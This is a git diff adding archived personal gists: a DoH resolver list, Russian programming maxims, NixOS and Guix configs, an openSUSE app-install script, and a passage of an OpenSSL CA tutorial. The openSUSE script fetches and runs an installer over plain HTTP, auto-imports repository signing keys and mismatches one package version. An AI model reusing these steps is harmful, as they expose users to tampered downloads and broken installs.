+https://dns.switch.ch/dns-query +https://doh.360.cn/dns-query +https://doh.cleanbrowsing.org/doh/adult-filter/ +https://doh.cleanbrowsing.org/doh/family-filter/ +https://doh.cleanbrowsing.org/doh/security-filter/ +https://doh.dns.sb/dns-query +https://doh.familyshield.opendns.com/dns-query +https://doh.ffmuc.net/dns-query +https://doh.libredns.gr/ads +https://doh.libredns.gr/dns-query +https://doh.onedns.net/dns-query +https://doh.opendns.com/dns-query +https://doh-pure.onedns.net/dns-query +https://doh.sandbox.opendns.com/dns-query +https://doh.tiarap.org/dns-query +https://doh.tiar.app/dns-query +https://private.canadianshield.cira.ca/dns-query +https://protected.canadianshield.cira.ca/dns-query +https://protective.joindns4.eu/dns-query +https://public.dns.iij.jp/dns-query +https://public.ns.nwps.fi/dns-query +https://resolver.dnsprivacy.org.uk/dns-query +https://router.comss.one/dns-query +https://rx.techomespace.com/dns-query +https://safe.dot.dns.yandex.net/dns-query +https://security.cloudflare-dns.com/dns-query +https://security.rabbitdns.org/dns-query +https://sm2.doh.pub/dns-query +https://unfiltered.adguard-dns.com/dns-query +https://v.recipes/dns-query +https://wikimedia-dns.org/dns-query +https://extended.dns.mullvad.net/dns-query +https://extended.dns.mullvad.net/dns-query +https://family.adguard-dns.com/dns-query +https://family.canadianshield.cira.ca/dns-query +https://family.cloudflare-dns.com/dns-query +https://family.dns.mullvad.net/dns-query +https://family.dot.dns.yandex.net/dns-query +https://family.rabbitdns.org/dns-query +https://ibksturm.synology.me/dns-query +https://jp.tiarap.org/dns-query +https://jp.tiar.app/dns-query +https://kids.ns.nwps.fi/dns-query +https://noads.joindns4.eu/dns-query +https://odvr.nic.cz/doh +``` + + diff --git a/content/gists/df715e4ac4000e4997881c07068f7ded.md b/content/gists/df715e4ac4000e4997881c07068f7ded.md new file mode 100644 index 000000000..bfeb5e459 --- /dev/null +++ b/content/gists/df715e4ac4000e4997881c07068f7ded.md @@ -0,0 +1,35 @@ +--- +title: "Принципы programming" +type: gist +gist_id: "df715e4ac4000e4997881c07068f7ded" +gist_name: " Принципы programming programming-principles.md" +gist_url: https://gist.github.com/dominicusin/df715e4ac4000e4997881c07068f7ded +updated_at: "2018-01-17T16:53:07Z" +files: ["programming-principles.md"] +--- +_ Принципы programming _ + +## programming-principles.md + +```Markdown + +Язык — это инструмент +Программирование — это не язык +Понимание принципов важнее знания инструментов +Паттерны — это не принципы программирования +Написание кода — не цель +Удаление кода лучше его написания +Читаемый код важнее быстрого +Любое решение имеет плюсы +Уровень мышления определяет уровень решений +Изменяемое состояние — это необходимость и корень всех бед +Побочные эффекты требуют изоляции +Абстракция управляет сложностью +Однообразие лучше локальных оптимизаций +Тесты вселяют уверенность +Эксплуатация — это часть системы +Код — это не продукт +Хороший код не рождает хороший продукт +``` + + diff --git a/content/gists/e03c970e1ffef961859e7252fbd25120.md b/content/gists/e03c970e1ffef961859e7252fbd25120.md new file mode 100644 index 000000000..633b0c6d1 --- /dev/null +++ b/content/gists/e03c970e1ffef961859e7252fbd25120.md @@ -0,0 +1,18 @@ +--- +title: "BlockList" +type: gist +gist_id: "e03c970e1ffef961859e7252fbd25120" +gist_name: "BlockList BlockList" +gist_url: https://gist.github.com/dominicusin/e03c970e1ffef961859e7252fbd25120 +updated_at: "2022-03-27T04:32:27Z" +files: ["BlockList"] +--- +_BlockList_ + +## BlockList + +``` +You can either copy https://github.com/Naunter/BT_BlockLists/raw/master/bt_blocklists.gz OR https://github.com/Naunter/BT_BlockLists/releases/download/master/bt_blocklists.gz +``` + + diff --git a/content/gists/e0b4f71da7350a574fd26e711a0131a0.md b/content/gists/e0b4f71da7350a574fd26e711a0131a0.md new file mode 100644 index 000000000..c0e77ac84 --- /dev/null +++ b/content/gists/e0b4f71da7350a574fd26e711a0131a0.md @@ -0,0 +1,18 @@ +--- +title: "e0b4f71da7350a574fd26e711a0131a0" +type: gist +gist_id: "e0b4f71da7350a574fd26e711a0131a0" +gist_name: "nixos" +gist_url: https://gist.github.com/dominicusin/e0b4f71da7350a574fd26e711a0131a0 +updated_at: "2017-09-25T22:34:31Z" +files: ["nixos"] +--- +## nixos + +``` + +nix-env -qaP|cut -d' ' -f1|while read a;do nix-env -iA $a;nix-store --gc;nix-collect-garbage -d;done + +``` + + diff --git a/content/gists/e5f6346eaa312024c9500af4bf4443c3.md b/content/gists/e5f6346eaa312024c9500af4bf4443c3.md new file mode 100644 index 000000000..8efe2d9bd --- /dev/null +++ b/content/gists/e5f6346eaa312024c9500af4bf4443c3.md @@ -0,0 +1,146 @@ +--- +title: "suse" +type: gist +gist_id: "e5f6346eaa312024c9500af4bf4443c3" +gist_name: "suse leap" +gist_url: https://gist.github.com/dominicusin/e5f6346eaa312024c9500af4bf4443c3 +updated_at: "2017-12-29T17:00:42Z" +files: ["leap"] +--- +_suse_ + +## leap + +```Shell +#!/bin/bash + +echo "+-----------------------------------------------------+" +echo "| openSUSE 42.3 GNOME apps installation script |" +echo "+-----------------------------------------------------+" + +# For openSUSE Leap 42.3 and use at your own risk! +# Vinícius Barros Rodrigues, for sugestions: viniciusbrbio@gmail.com + +echo "+------------------------------------------------------------------+" +echo "Update and dist-upgrade" +echo "+------------------------------------------------------------------+" +sudo zypper -n up +sudo zypper -n dist-upgrade + +echo "+------------------------------------------------------------------+" +echo "Packman and Libdvdcss repos for Multimedia" +echo "+------------------------------------------------------------------+" +sudo zypper -n ar -f http://ftp.gwdg.de/pub/linux/misc/packman/suse/openSUSE_Leap_42.2/ packman +sudo zypper -n ar -f http://opensuse-guide.org/repo/openSUSE_Leap_42.2/ libdvdcss +sudo zypper --gpg-auto-import-keys ref +sudo zypper up + +echo "+------------------------------------------------------------------+" +echo "Installing Multimedia Packages" +echo "+------------------------------------------------------------------+" +sudo zypper -n install ffmpeg lame gstreamer-plugins-bad gstreamer-plugins-ugly gstreamer-plugins-ugly-orig-addon gstreamer-plugins-libav libdvdcss2 --auto-agree-with-licenses +sudo zypper dist-upgrade + +echo "+------------------------------------------------------------------+" +echo "Installing Apps" +echo "+------------------------------------------------------------------+" +sudo zypper -n install corebird inkscape pdfshuffler gimp lollypop bleachbit unetbootin evince-plugin-djvudocument redshift evince-plugin-comicsdocument evince-plugin-xpsdocument evince-plugin-tiffdocument evince-plugin-dvidocument wine xournal kile goldendict pdfchain uget steam octave vlc R-base git kdenlive audacity simplescreenrecorder gpsbabel virtualbox openshot breeze keepassx meld gpodder geany latexila redshift redshift-gtk gpick corebird gradio retext soundconverter + +echo "+------------------------------------------------------------------+" +echo "Some packages" +echo "+------------------------------------------------------------------+" +sudo zypper install cmake automake fetchmsttfonts texlive-subfloat nlopt-devel texlive-mdframed texlive-wrapfig zlibrary ghc-zlib zlib-devel libopenssl-devel libssh2-devel libcurl-devel libconfig9 libconfig++9 libconfig-devel gcc-c++ typelib-1_0-GtkVnc-1_0 typelib-1_0-GtkVnc-2_0 libgtk-vnc-1_0-0 libgtk-vnc-2_0-0 gtk-devel libxml2-devel gtk-devel gnome-doc-utils gnome-doc-utils-devel libgexiv2-devel libgps22 gnome-themes gnome-themes-extras VirtualGL VirtualGL-32bit VirtualGL-devel libgcrypt-devel + +echo "+------------------------------------------------------------------+" +echo "Electron Apps - Rambox, ClipGrab and Stremio" +echo "+------------------------------------------------------------------+" + +mkdir ElectronApps +cd ElectronApps +mkdir Rambox +cd Rambox +wget https://getrambox.herokuapp.com/download/x64?filetype=AppImage +.. +mkdir Stremio +cd Stremio +wget https://www.strem.io/download +.. +mkdir Clipgrab +cd Clipgrab +wget https://download.clipgrab.org/clipgrab-3.6.6.tar.bz2 + +echo "+------------------------------------------------------------------+" +echo "Other Apps" +echo "+------------------------------------------------------------------+" + +cd Downloads/ + +echo "JabRef" +wget http://download.opensuse.org/repositories/home:/sebschub/openSUSE_Leap_42.2/noarch/jabref-3.8.1-12.1.noarch.rpm +sudo zypper install jabref-3.8.1-12.1.noarch.rpm + +echo "yEd" +wget http://www.yworks.com/resources/yed/demo/yEd-3.16.2.1_64-bit_setup.sh +chmod +x yEd-3.16.2.1_64-bit_setup.sh +sh yEd-3.16.2.1_64-bit_setup.sh +sudo rm yEd-3.16.2.1_64-bit_setup.sh + +echo "Viking GPS" +wget http://download.opensuse.org/repositories/Application:/Geo/openSUSE_Leap_42.2/x86_64/viking-1.6.2-2.10.x86_64.rpm +sudo zypper install -n viking-1.6.2-2.10.x86_64.rpm +sudo rm viking-1.6.2-2.10.x86_64.rpm + +echo "Rstudio" +wget https://download1.rstudio.org/rstudio-1.1.383-x86_64.rpm +sudo zypper -n install rstudio-1.0.136-x86_64.rpm +sudo rm rstudio-1.0.136-x86_64.rpm + +echo "Brackets" +wget http://download.opensuse.org/repositories/home:/awissu/openSUSE_Leap_42.2/x86_64/brackets-1.8-1.1.x86_64.rpm +sudo zypper install -n brackets-1.8-1.1.x86_64.rpm +sudo rm brackets-1.8-1.1.x86_64.rpm + +echo "Qgis" +wget http://download.opensuse.org/repositories/Application:/Geo/openSUSE_Leap_42.2/x86_64/qgis-2.18.4-2.8.x86_64.rpm +sudo zypper -n install qgis-2.18.4-2.8.x86_64.rpm +sudo rm qgis-2.18.4-2.8.x86_64.rpm + +sudo zypper -n refresh + +sudo zypper -n up + +sudo zypper -n dist-upgrade + +sudo zypper -n dist-upgrade --from packman + +# echo "Snappy" +# sudo zypper addrepo http://download.opensuse.org/repositories/system:/snappy/openSUSE_Leap_42.2/ snappy +# sudo zypper install snapd +# sudo systemctl enable --now snapd.socket + +echo "+------------------------------------------------------------------+" +echo "Finishing" +echo "+------------------------------------------------------------------+" +sudo zypper -n verify +sudo zypper -n clean + +echo "+------------------------------------------------------------------+" +echo "Removing trash" +echo "+------------------------------------------------------------------+" +sudo zypper -n remove gnome-contacts gnome-dictionary gnome-weather empathy okular gnome-nibbles gnome-robots gnome-tetravex four-in-a-row polari liferea five-or-more gnome-klotski tali konqueror gnome-documents gnome-music gnome-maps evolution +shotwell aisleriot iagno xboard gnuchess quadrapassel gnome-clocks gnome-sudoku swell-foop lightsoff gnome-mines gnome-mahjongg bijiben gnome-software nautilus-sendto evolution-data-server + +echo "+------------------------------------------------------------------+" +echo "Reboot?" +echo "+------------------------------------------------------------------+" +select yn in "Yes" "No"; do + case $yn in + Yes ) sudo reboot;; + No ) exit;; + esac +done + + +``` + + diff --git a/content/gists/ee9fed0beea74d3e265dc93a53772a53.md b/content/gists/ee9fed0beea74d3e265dc93a53772a53.md new file mode 100644 index 000000000..a99bf2c49 --- /dev/null +++ b/content/gists/ee9fed0beea74d3e265dc93a53772a53.md @@ -0,0 +1,106 @@ +--- +title: "guix0" +type: gist +gist_id: "ee9fed0beea74d3e265dc93a53772a53" +gist_name: "guix0 gistfile1.txt" +gist_url: https://gist.github.com/dominicusin/ee9fed0beea74d3e265dc93a53772a53 +updated_at: "2025-09-01T08:57:17Z" +files: ["gistfile1.txt"] +--- +_guix0_ + +## gistfile1.txt + +```Text +(use-modules (gnu)) +(use-service-modules cups desktop networking ssh xorg) + +(operating-system + (locale "ru_RU.utf8") + (timezone "Europe/Chisinau") + (keyboard-layout (keyboard-layout "ru,us" #:options '("grp:alt_shift_toggle"))) + (host-name "quasar") + (users (cons* (user-account + (name "domini") + (comment "Domini Montessori") + (group "users") + (home-directory "/home/domini") + (supplementary-groups '("wheel" "netdev" "audio" "video"))) + %base-user-accounts)) + + (packages (append (list (specification->package "openbox") + (specification->package "awesome") + (specification->package "i3-wm") + (specification->package "i3status") + (specification->package "dmenu") + (specification->package "st") + (specification->package "ratpoison") + (specification->package "xterm") + (specification->package "emacs") + (specification->package "emacs-exwm") + (specification->package + "emacs-desktop-environment") + (specification->package "nss-certs")) + %base-packages)) + + (services + (append (list (service gnome-desktop-service-type) + (service xfce-desktop-service-type) + (service mate-desktop-service-type) + (service enlightenment-desktop-service-type) + + ;; To configure OpenSSH, pass an 'openssh-configuration' + ;; record as a second argument to 'service' below. + (service openssh-service-type) + (service tor-service-type) + (service cups-service-type) + (set-xorg-configuration + (xorg-configuration (keyboard-layout keyboard-layout)))) + + %desktop-services)) + + (bootloader (bootloader-configuration + (bootloader grub-efi-bootloader) + (targets (list "/boot/efi")) + (keyboard-layout keyboard-layout))) + + (swap-devices (list (swap-space + (target (uuid + "3f6e87f7-a8c8-460f-a3db-14ed192c5503"))) + (swap-space + (target (uuid + "ce30c55d-6ae4-402b-aed1-ca2c8ff63fcd"))) + (swap-space + (target (uuid + "0aa2d1fb-09fd-4e82-aceb-4e917e6e2b99"))) + (swap-space + (target (uuid + "91533f62-b7e3-46a4-ba5e-0d49a6ea4c43"))) + (swap-space + (target (uuid + "a365da0a-fd73-4121-8f68-d7ef4dc435b4"))) + (swap-space + (target (uuid + "d6f28840-c273-43da-ad7e-f20e65dd7450"))))) + + (file-systems (cons* (file-system + (mount-point "/") + (device "/dev/nvme0n1p6:/dev/nvme1n1p6:/dev/nvme2n1p6:/dev/nvme3n1p6:/dev/nvme4n1p6:/dev/nvme5n1p6:/dev/sda6:/dev/sdb6:/dev/sdc6:/dev/sdd6") + (type "bcachefs") + (options "X-mount.subdir=Guix") + (mount-may-fail? #t) ; TODO temporary hack, otherwise the Guix boot process can be blocked in case of errors on some device + ) + (file-system + (mount-point "/boot/efi") + (device "/dev/nvme1n1p2") + (type "vfat")) %base-file-systems) + (file-system + (mount-point "/tmp") + (device "none") + (type "tmpfs") + (check? #f)) + ) +) +``` + + diff --git a/content/gists/f22be14730b39628de19e166f07f1f57.md b/content/gists/f22be14730b39628de19e166f07f1f57.md new file mode 100644 index 000000000..d2c600ac4 --- /dev/null +++ b/content/gists/f22be14730b39628de19e166f07f1f57.md @@ -0,0 +1,945 @@ +--- +title: "How to setup your own CA with OpenSSL" +type: gist +gist_id: "f22be14730b39628de19e166f07f1f57" +gist_name: "How to setup your own CA with OpenSSL ca.md" +gist_url: https://gist.github.com/dominicusin/f22be14730b39628de19e166f07f1f57 +updated_at: "2024-09-23T18:13:53Z" +files: ["ca.md"] +--- +_How to setup your own CA with OpenSSL_ + +## ca.md + +```Markdown + +# How to setup your own CA with OpenSSL + +For educational reasons I've decided to create my own CA. +Here is what I learned. + +# First things first + +Lets get some context first. + +## Public Key Cryptography + +AKA asymmetric cryptography solves the problem of two entities communicating +securely without ever exchanging a common key, by using two related keys, +one private, one public. + +Ciphered text with the public key can only be deciphered by the corresponding +private key, and verifiable signatures with the public key can only be created +with the private key. + +But if the two entities do not know each other yet they a way to know for sure +that a public key corresponds to the private key of the other identity. + +In other words, when Alice speaks to Bob, Bob tells Alice "this is my public +key K, use it to communicate with me" Alice needs to know it is really Bob's +public key and not Eve's. + +The usual solution to this problem is to use a PKI. + +## Public Key Infrastructure - PKI + +A PKI is an arrangement that binds public keys to identities by means of a +Certificate Authority (CA). + +A CA is a centralized trusted third party whose public key is already known. + +This way when Alice speaks to Bob, Bob shows Alice a signed message by Trent, +who Alice knows and trusts, that says "this public key K belongs to Bob". +That signed message is called a certificate, and it can contain other info. +Alice is able to verify the signature using Trent's public key, and can know +speak confidently to Bob. + +It is also common to have a chain of trust. Alice speaks to Bob, Trent does +not know Bob but knows Carol who knows Bob, so Bob shows Alice a chain of +certificates, one from Carol that says which key belongs to Bob and one from +Trent who says which key belongs to Carol. Even without knowing Carol, Alice +can verify the certificate from Trent, be sure of Carol's key, and if her trust +in Trent is transitive then she can also trust Carol as to who Bob is. + +**Note**: +There is an interesting solution for public authentication of public-key +information is the [web-of-trust][wot] scheme, which uses third party +attestations of self-signed certificates. + +## X.509 + +X.509 is a standard from the International Telecommunication Union for PKI. + +Among other things, it defines the format for public key certificates. + +Defined over these RFCs: + +- Version 1 - [RFC1422][] +- Version 2 - [RFC2459][] +- Version 3 - [RFC5280][] + +A X.509 v3 digital certificate has this structure: + +- Certificate + - Version + - Serial Number + - Algorithm ID + - Issuer + - Validity + - Not Before + - Not After + - Subject + - Subject public key info + - Issuer Unique Identifier (optional) + - Subject Unique Identifier (optional) + - Extensions (optional) + - ... +- Certificate Signature Algorithm +- Certificate Signature + +### Version, Serial, Algorithm ID and Validity + +- **Version** - Indicates X.509 version. Should be 3 (value 0x2). +- **Serial** - Unique positive integer assigned by the CA to each certificate. +- **Algorithm ID** - Must be the same as the field "Certificate Signature +Algorithm" +- **Validity** - Two dates that form the period when the certificate is valid. + +### Issuer and Subject + +Each a Distinguished Name (DN), unique per CA. + +A DN, described in [RFC1779][], consists of a single line with these separated +values: + +- CN - CommonName +- L - LocalityName +- ST - StateOrProvinceName +- O - OrganizationName +- OU - OrganizationalUnitName +- C - CountryName + +Example: +`C=PT, ST=Lisboa, L=Lisboa, O=Foo Org, OU=Bar Sector, CN=foo.org/emailAddress=admin@foo.org` + +The signing CA may not require all values. + +When connecting to an HTTPS server, browsers will check the CN value and it +should be conforming to the domain. Wildcard certificates usually start with +a `*` in CN to allow any subdomain. e.g. `CN=*.example.com` + +Note that browsers will reject the wilcard for the naked domain, i.e. +`example.com` is not conforming to `*.example.com`. + +However, a certificate can be used for an HTTPS server that replies in multiple +different domains. Additional domains can be specified in the extension +Subject Alternative Names. + +#### Subject public key info + +Contains the public key algorithm and its specific parameters. e.g.: + +- algorithm: rsa encryption +- key size: 2048 +- exponent: 0x10001 +- modulus: 00:ec:82:3f:78:b6... + +#### Issuer and Subject Unique Identifiers + +Introduced in version 2 to permit the reuse of issuer and subject names. +For example, suppose a CA goes bankrupt and its name is deleted from the +country's public list, after some time another CA with the same name may +register itself even though it is unrelated to the first one. + +IMO, this is all very silly. +Unsurprisingly, IETF recommends that no issuer and subject names be reused. + +#### Extensions + +Introduced in version 3. +A CA can use extensions to issue a certificate only for a specific purpose, +e.g only for http servers. + +Extensions can be critical or non-critical. Non-critical can be ignored, while +critical must be enforced and the whole certificate must be rejected if the +system does not recognize a critical extension. + +Some standard extensions: + +- Subject Key Identifier +- Authority Key Identifier +- Subject Alternative Name +- Basic Constraints + +##### Authority and Subject Key Identifiers + +Used where an entity has multiple signing keys. +Identity can be verified by either name and serial number or by this key +identifier. + +An identifier is the 160-bit SHA-1 hash of the public key, or just the first +60 bits preceded with the bits 0100. + + +##### Subject Alternative Name + +May contain additional DNS names or IP addresses where the certificate is valid, +that is, besides the one specified in CN. + +##### Basic Constraints + +Whether the subject is a CA and optionally the maximum length of depth of +certification paths. + +## A real world need + +Let's suppose we need a signed certificate for an HTTPS server. +This means we need a certificate for the domain (or domains) where the server +will be available. + +We need a certificate that the browser can verify and tell the user +that he is on the right servers of the domain of the URL he typed and +that a safe connection is established. + +Browsers use a certificate store which has a list of CAs. To check your +you can go to your browser's settings, search for the Certificates section, +maybe in Security or Advanced, there should be some kind of certificate manager. + +The browser's certificate store should have several sections, one of them, +probably empty is for client certificates, since HTTPS can also authenticate +the client through certificates, although this isn't used except for some +very specific corporate environments. +The section you want to look at is the 'Authorities' section where the CA +certificates are stored. Your browser most probably has certificates from VeriSign, Comodo, GeoTrust, +Microsoft, etc. + +So what we need is a certificate that says our key belongs to our domain issued +(signed) by one of these entities. Or we can also have it issued by an +intermediary entity, one who was authorized by one of the CAs to issue +certificates. + +If you do a web search for 'SSL Certificates' you'll find many sellers of +digital certificates. You'll find that "wildcard" certificates are usually +a bit more expensive. + +### Wildcard certificates + +A wildcard certificate is a certificate which can be used with multiple +subdomains of a domain. + +Browsers look for the CN (Common Name) in the subject field which should be a +domain, or a wildcard like `*.example.com`. + +Browsers will accept a certificate with CN `*.example.org` for +`www.example.org`, `login.example.org` or `bo.example.org`. But the "naked" +domain `example.org` will not work. + +Additional domains (including the naked domain) may be added in the extension +"SubjectAltName". + +To check this out point your browser to `https://mozilla.org` (or some other +HTTPS server), then click the lock icon before the URL, there should be a way +to see the certificate being used. Check the subject Common Name and the +extension Subject Alt Name. + +## OpenSSL + +OpenSSL is a cryptography toolkit. Contains many subcommands, each with a +manpage of its own e.g. `ca(1)`, `req(1)` , `x509(1)`. + +Most of OpenSSL's tools deal with `-in` and `-out` parameters. Usually you +can also inspect files by specifying `-in ` and `-noout`, you also +specify which part of the contents you're interested in, to see all use +`-text`. Examples below. + + +### Generate Keys and Certificate Signing Request (CSR) + +Generate an RSA key for the CA: +``` +$ openssl genrsa -out example.org.key 2048 +Generating RSA private key, 2048 bit long modulus +.........................................+++ +``` + +`openssl genrsa` is the tool to generate rsa keys. `2048` is the key size. +This created a file `example.org.key` that contains the private key. + +You can use the tool `openssl rsa` to inspect the key. + +``` +$ openssl rsa -in example.org.key -noout -text +Private-Key: (2048 bit) +modulus: + 00:ad:d8:71:1f:ab:a7:df:a6:c3:7e:d8:1f:fd:81: + b0:5a:a8:9d:51:2b:15:c2:98:95:9e:fe:3b:7c:bd: + ... +publicExponent: 65537 (0x10001) +privateExponent: + 7b:a9:ba:96:b7:c9:bb:eb:69:a7:62:60:27:39:c8: + d4:44:9b:5b:b0:d5:52:ce:ad:a8:22:da:f8:19:c2: + ... +prime1: + 00:d3:98:05:f5:49:48:11:f1:46:71:09:6c:b4:cb: + e6:3e:6f:a1:41:9a:36:43:c3:22:20:06:d1:aa:dd: + ... +prime2: + 00:d2:54:5e:cc:15:72:3d:5f:b2:64:ab:4f:42:a6: + 15:79:ca:7a:e0:ef:dd:a7:f3:25:f2:f1:75:b2:33: + ... +exponent1: + 02:bf:5f:9c:6e:c6:2b:cd:79:3f:b0:82:a3:da:5d: + f4:03:99:11:74:02:2e:61:13:49:5d:2d:4d:cd:b1: + ... +exponent2: + 79:6c:c1:e9:9a:3c:00:98:9d:b9:a6:78:b4:a6:83: + 61:73:76:ab:23:6f:58:c5:73:d4:24:77:e9:30:10: + ... +coefficient: + 17:53:93:4a:48:b0:63:9a:71:0e:37:fb:18:ad:be: + 4e:d0:6e:af:6c:bc:7b:ff:44:c6:93:9a:23:03:51: + ... +``` + +Optionally, the rsa public key can be extracted from the private key: + +``` +$ openssl rsa -in example.org.key -pubout -out example.org.pubkey +$ openssl rsa -in example.org.pubkey -pubin -noout -text +Public-Key: (2048 bit) +Modulus: + 00:ad:d8:71:1f:ab:a7:df:a6:c3:7e:d8:1f:fd:81: + b0:5a:a8:9d:51:2b:15:c2:98:95:9e:fe:3b:7c:bd: + ... +Exponent: 65537 (0x10001) +``` + +Any copy of the private key should only be help by the entity who is going to +be certified. This means the key should never be sent to anyone else, +**including the certificate issuer**. + +We now generate a Certificate Signing Request which contains some of the info +that we want to be included in the certificate. +To prove ownership of the private key, the CSR is signed with the subject's +private key. + +Generate a CSR: + +``` +$ openssl req -new -key example.org.key -out example.org.csr +You are about to be asked to enter information that will be incorporated +into your certificate request. +What you are about to enter is what is called a Distinguished Name or a DN. +There are quite a few fields but you can leave some blank +For some fields there will be a default value, +If you enter '.', the field will be left blank. +----- +Country Name (2 letter code) [AU]:PT +State or Province Name (full name) [Some-State]:Lisboa +Locality Name (eg, city) []:Lisboa +Organization Name (eg, company) [Internet Widgits Pty Ltd]:Example Org +Organizational Unit Name (eg, section) []: +Common Name (e.g. server FQDN or YOUR name) []:*.example.org +Email Address []: + +Please enter the following 'extra' attributes +to be sent with your certificate request +A challenge password []: +An optional company name []: +``` + +We can then take a look at the CSR's contents: + +``` +$ openssl req -in example.org.csr -noout -text +Certificate Request: + Data: + Version: 0 (0x0) + Subject: C=PT, ST=Lisboa, L=Lisboa, O=Example Org, CN=*.example.org + Subject Public Key Info: + Public Key Algorithm: rsaEncryption + Public-Key: (2048 bit) + Modulus: + 00:ad:d8:71:1f:ab:a7:df:a6:c3:7e:d8:1f:fd:81: + b0:5a:a8:9d:51:2b:15:c2:98:95:9e:fe:3b:7c:bd: + ... + Exponent: 65537 (0x10001) + Attributes: + a0:00 + Signature Algorithm: sha1WithRSAEncryption + 5d:f0:d4:d8:85:4c:e7:dd:6d:f2:bd:05:0f:57:8b:d8:0a:40: + 09:10:ad:ab:cc:5b:a1:92:cb:5d:56:16:7f:0b:23:91:32:06: + ... +``` + +The certificate is then sent to the issuer, and if he approves the request +a certificate should be sent back. + +**Make sure** your Signature Algorithm is not MD5. Old OpenSSL configurations +have `default_md = md5` as default. Browsers reject certificates that use md5 +as a signature algorithm because it has been [found to be insecure][md5harmful]. + +Notice that there are no extensions, to add extensions an additional config +file is needed. This makes the process a bit more complicated so when you +buy a wildcard certificate you don't usually need to specify the extension +SubjectAltName for the naked domain because the issuer will do it for you. + +This is an example configuration file for a CSR: + +```conf +# The main section is named req because the command we are using is req +# (openssl req ...) +[ req ] +# This specifies the default key size in bits. If not specified then 512 is +# used. It is used if the -new option is used. It can be overridden by using +# the -newkey option. +default_bits = 2048 + +# This is the default filename to write a private key to. If not specified the +# key is written to standard output. This can be overridden by the -keyout +# option. +default_keyfile = oats.key + +# If this is set to no then if a private key is generated it is not encrypted. +# This is equivalent to the -nodes command line option. For compatibility +# encrypt_rsa_key is an equivalent option. +encrypt_key = no + +# This option specifies the digest algorithm to use. Possible values include +# md5 sha1 mdc2. If not present then MD5 is used. This option can be overridden +# on the command line. +default_md = sha1 + +# if set to the value no this disables prompting of certificate fields and just +# takes values from the config file directly. It also changes the expected +# format of the distinguished_name and attributes sections. +prompt = no + +# if set to the value yes then field values to be interpreted as UTF8 strings, +# by default they are interpreted as ASCII. This means that the field values, +# whether prompted from a terminal or obtained from a configuration file, must +# be valid UTF8 strings. +utf8 = yes + +# This specifies the section containing the distinguished name fields to +# prompt for when generating a certificate or certificate request. +distinguished_name = my_req_distinguished_name + + +# this specifies the configuration file section containing a list of extensions +# to add to the certificate request. It can be overridden by the -reqexts +# command line switch. See the x509v3_config(5) manual page for details of the +# extension section format. +req_extensions = my_extensions + +[ my_req_distinguished_name ] +C = PT +ST = Lisboa +L = Lisboa +O = Oats In The Water +CN = *.oats.org + +[ my_extensions ] +basicConstraints=CA:FALSE +subjectAltName=@my_subject_alt_names +subjectKeyIdentifier = hash + +[ my_subject_alt_names ] +DNS.1 = *.oats.org +DNS.2 = *.oats.net +DNS.3 = *.oats.in +DNS.4 = oats.org +DNS.5 = oats.net +DNS.6 = oats.in +``` + +Notice the various DNS names. Since the configuration parser does not allow +multiple values for the same name we use the `@my_subject_alt_names` and +`DNS.#` with different numbers. + +With this configuration we can create a CSR with the proper extensions: + +``` +$ openssl req -new -out oats.csr -config oats.conf +Generating a 2048 bit RSA private key +.............+++ +....................................+++ +writing new private key to 'oats.key' +----- +``` + +Because we did not specify a key, OpenSSL uses the information on our +configuration (`default_bits` and `default_keyfile`) to create one. + +Lets see the result: + +``` +$ openssl req -in oats.csr -noout -text +Certificate Request: + Data: + Version: 0 (0x0) + Subject: C=PT, ST=Lisboa, L=Lisboa, O=Oats In The Water, CN=*.oats.org + Subject Public Key Info: + Public Key Algorithm: rsaEncryption + Public-Key: (2048 bit) + Modulus: + 00:a2:58:fc:57:32:4d:40:aa:62:92:65:86:1d:6b: + 4f:3e:11:a6:b5:36:f2:48:d2:23:2a:8f:bb:a0:a4: + ... + Exponent: 65537 (0x10001) + Attributes: + Requested Extensions: + X509v3 Basic Constraints: + CA:FALSE + X509v3 Subject Alternative Name: + DNS:*.oats.org, DNS:*.oats.net, DNS:*.oats.in, DNS:oats.org, DNS:oats.net, DNS:oats.in + X509v3 Subject Key Identifier: + C6:0E:59:B3:1A:FF:1A:A2:FF:F3:DC:76:21:F0:92:FC:57:88:05:6D + Signature Algorithm: sha1WithRSAEncryption + 0d:45:6c:21:65:20:72:68:30:91:5f:fa:b8:c3:62:a0:66:a2: + 96:6f:76:4a:ba:ca:e3:1d:9e:eb:47:d4:93:87:88:83:a2:f5: + ... +``` + +Now we can see that there is a `Request Extensions` section with our coveted +`Subject Alternative Name` field. + +A CA can still remove these fields or override them when issuing your +certificate. Including them in your CSR does not guarantee that they will be +in the final certificate. + +### CA Key and self-signed Certificate + +Now let's play the CA part. + +Generate a key for the subject. It is the same as we did for our subject. + +``` +$ openssl genrsa -out ca.key 2048 +Generating RSA private key, 2048 bit long modulus +......................................................+++ +.......+++ +e is 65537 (0x10001) +``` + +Generate a self signed certificate for the CA: + +``` +$ openssl req -new -x509 -key ca.key -out ca.crt +You are about to be asked to enter information that will be incorporated +into your certificate request. +What you are about to enter is what is called a Distinguished Name or a DN. +There are quite a few fields but you can leave some blank +For some fields there will be a default value, +If you enter '.', the field will be left blank. +----- +Country Name (2 letter code) [AU]:PT +State or Province Name (full name) [Some-State]:Lisboa +Locality Name (eg, city) []:Lisboa +Organization Name (eg, company) [Internet Widgits Pty Ltd]:Sz CA +Organizational Unit Name (eg, section) []:SZ CA +Common Name (e.g. server FQDN or YOUR name) []: +Email Address []:An optional company name []: +``` + +OpenSSL uses the information you specify to compile a X.509 certificate using +the information prompted to the user, the public key that is extracted from the +specified private key which is also used to generate the signature. + +If we wish to include extensions in the self-signed certificate we could use +a configuration file just like we did for the CSR but we would use +`x509_extensions` instead of `req_extensions`. + +#### Signing + +One very easy way to sign a certificate is this: + +``` +$ openssl x509 -req -in example.org.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out example.org.crt +Signature ok +subject=/C=PT/ST=Lisboa/L=Lisboa/O=Example Org/CN=*.example.org +Getting CA Private Key +``` + +Each issued certificate must contain a unique serial number assigned by the CA. +It must be unique for each certificate given by a given CA. +OpenSSL keeps the used serial numbers on a file, by default it has the same +name as the CA certificate file with the extension replace by `srl`. +So a file named `ca.srl` is created: + +``` +$ cat ca.srl +ED4B4A80662B1B4C +``` + +This command produces the file `example.org.crt` which we can examine: + +``` +$ openssl x509 -in example.org.crt -noout -text +Certificate: + Data: + Version: 1 (0x0) + Serial Number: 17098842325572590412 (0xed4b4a80662b1b4c) + Signature Algorithm: sha1WithRSAEncryption + Issuer: C=PT, ST=Lisboa, L=Lisboa, O=Sz CA, OU=SZ CA + Validity + Not Before: Mar 20 22:46:43 2014 GMT + Not After : Apr 19 